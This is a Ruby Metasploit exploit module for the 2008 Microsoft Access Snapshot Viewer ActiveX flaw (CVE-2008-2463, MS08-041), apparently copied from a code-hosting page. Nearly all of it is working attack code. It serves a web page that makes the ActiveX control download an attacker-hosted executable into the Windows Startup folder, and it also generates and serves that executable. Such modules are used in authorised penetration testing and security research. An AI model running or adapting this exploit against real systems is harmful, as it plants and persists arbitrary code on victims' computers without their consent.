98 lines
2.6 KiB
Ruby
98 lines
2.6 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::EXE
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Snapshot Viewer for Microsoft Access ActiveX Control Arbitrary File Download',
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'Description' => %q{
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This module allows remote attackers to place arbitrary files on a users file system
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via the Microsoft Office Snapshot Viewer ActiveX Control.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'MC' ],
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'References' =>
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[
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[ 'CVE', '2008-2463' ],
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[ 'OSVDB', '46749'],
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[ 'MSB', 'MS08-041' ],
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[ 'BID', '30114' ],
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],
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'Payload' =>
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{
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'Space' => 2048,
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Automatic', { } ],
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Jul 07 2008'))
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register_options(
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[
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OptString.new('PATH', [ true, 'The path to place the executable.', 'C:\\\\Documents and Settings\\\\All Users\\\\Start Menu\\\\Programs\\\\Startup\\\\']),
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], self.class)
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end
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def autofilter
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false
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end
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def check_dependencies
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use_zlib
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end
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def on_request_uri(cli, request)
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payload_url = "http://"
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payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
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payload_url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/payload"
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if (request.uri.match(/payload/))
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return if ((p = regenerate_payload(cli)) == nil)
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data = generate_payload_exe({ :code => p.encoded })
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print_status("Sending EXE payload")
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send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
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return
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end
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vname = rand_text_alpha(rand(100) + 1)
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exe = rand_text_alpha(rand(20) + 1)
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content = %Q|
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<html>
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<head>
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<script>
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try {
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var #{vname} = new ActiveXObject('snpvw.Snapshot Viewer Control.1');
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#{vname}.SnapshotPath = "#{payload_url}";
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#{vname}.CompressedPath = "#{datastore['PATH']}\\#{exe}.exe";
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#{vname}.PrintSnapshot();
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} catch( e ) { window.location = 'about:blank' ; }
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</script>
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</head>
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</html>
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print_status("Sending #{self.name}")
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send_response_html(cli, content)
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handler(cli)
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end
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end
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